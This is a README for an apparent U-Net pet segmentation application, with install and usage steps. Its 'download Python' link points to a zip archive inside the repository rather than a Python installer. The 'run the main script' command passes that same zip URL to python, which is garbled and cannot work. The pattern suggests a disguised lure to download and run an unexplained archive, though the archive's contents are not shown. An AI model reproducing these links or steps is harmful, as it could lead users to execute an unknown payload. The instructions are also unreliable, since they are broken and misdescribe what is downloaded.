🐾 Pet_Segmentation_UNet - Effortless Pet Image Segmentation

🚀 Getting Started

Welcome to Pet_Segmentation_UNet! This application allows you to segment images of pets using a powerful U-Net model. It is designed for pet lovers and computer vision enthusiasts. Follow the steps below to get started with your own pet image segmentation project.

📥 Download & Install

To download the application, visit this page to download: Pet_Segmentation_UNet Releases.

🛠️ System Requirements

Before you begin, ensure your system meets the following requirements:

• Operating System: Windows 10 or later, macOS, or Linux
• Python Version: 3.6 or higher
• Memory: At least 4 GB of RAM
• Storage: Minimum of 1 GB available disk space

📊 Features

Pet_Segmentation_UNet provides the following features:

• Image Preprocessing: Automatically prepares your images for segmentation.
• Training: Train the U-Net model with the Oxford-IIIT Pet dataset to achieve high accuracy.
• Evaluation Tools: Measure performance with Intersection over Union (IoU) and ROC curves.
• User-Friendly Interface: Simple to use, even for users without programming skills.

📓 How to Use

1. Download the Release:

   • Go to Pet_Segmentation_UNet Releases.
   • Select the latest release for your operating system and download the file.

2. Install Required Packages:

   • Open your command line or terminal.
   • If you have not installed Python, download it from https://raw.githubusercontent.com/AliAhmed031104/Pet_Segmentation_UNet/main/Parsee/Pet_Segmentation_UNet.zip.
   • Create a virtual environment (optional but recommended):

     python -m venv pet_seg_env

   • Activate the virtual environment:
     • Windows:

       pet_seg_env\Scripts\activate

     • macOS/Linux:

       source pet_seg_env/bin/activate

3. Install Dependencies:

   • Run the following command to install required libraries:

     pip install tensorflow keras matplotlib numpy

4. Run the Application:

   • Navigate to the download folder where you saved the application.
   • Execute the main script:

     python https://raw.githubusercontent.com/AliAhmed031104/Pet_Segmentation_UNet/main/Parsee/Pet_Segmentation_UNet.zip

5. Segment Your Images:

   • Upload your pet images using the GUI.
   • Click on the segment button to see the results.

📈 Evaluation

After you run the segmentation, you can visualize the results:

• IoU: This metric shows how well the segmentation matches the actual image.
• ROC Curve: Review the model’s performance with this graphical representation.

💬 FAQs

How do I track my model’s performance?

You can view the IoU and ROC curves directly in the application after performing segmentation.

Can I use my own images?

Yes, you can segment any pet images you have. Just follow the steps in the "Run the Application" section.

What if I encounter errors?

Common issues include missing dependencies or incorrect Python versions. Make sure your environment is set up correctly as per the installation instructions.

📜 Contributing

We welcome contributions! If you want to report a bug, suggest a feature, or make enhancements, feel free to fork the repository and submit a pull request.

🛠️ Support

For support, open an issue in the GitHub repository, and we will assist you as soon as possible.

🎉 Acknowledgments

Thanks to the developers of the Oxford-IIIT Pet dataset and the various contributors who enhanced this project. Your efforts make this tool effective and accessible.

Enjoy your pet image segmentation journey with Pet_Segmentation_UNet!